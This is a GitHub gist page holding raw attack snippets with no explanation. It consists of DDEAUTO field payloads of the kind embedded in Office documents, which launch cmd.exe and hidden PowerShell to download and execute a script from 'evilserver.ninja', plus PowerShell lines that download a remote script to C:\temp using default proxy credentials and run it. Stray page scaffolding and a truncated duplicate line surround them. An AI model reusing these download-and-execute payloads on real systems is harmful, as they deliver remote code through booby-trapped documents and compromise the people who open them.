Skip to content

Instantly share code, notes, and snippets.

@elagrija
Created December 31, 2017 17:28
Show Gist options
  • Save elagrija/411ea33d54c4370399db4b1c3c60e28c to your computer and use it in GitHub Desktop.
Save elagrija/411ea33d54c4370399db4b1c3c60e28c to your computer and use it in GitHub Desktop.
Untitled
DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object System.Net.WebClient).DownloadString('http://evilserver.ninja/pp.ps1');powershell -e $e "
DDEAUTO c:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI
$Client = (new-object net.webclient);
$Client.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$client.DownloadFile("https://gist.githubusercontent.com/AndrewSav/c4fb71ae1b379901ad90/raw/23f2d8d5fb8c9c50342ac431cc0360ce44465308/SO33205298","C:\temp\local1.ps1");
$Client = New-Object -TypeName System.Net.WebClient
$Client.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
$client.DownloadFile('https://gist.githubusercontent.com/AndrewSav/c4fb71ae1b379901ad90/raw/23f2d8d5fb8c9c50342ac431cc0360ce44465308/SO33205298','C:\temp\local1.ps1')
$exec = New-Object -com shell.application
$exec.shellexecute('C:\temp\local1.ps1')
<!-- content to be placed inside <body>…</body> -->
// alert('Hello world!');
{"view":"split","fontsize":"100","seethrough":"","prefixfree":"1","page":"all"}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment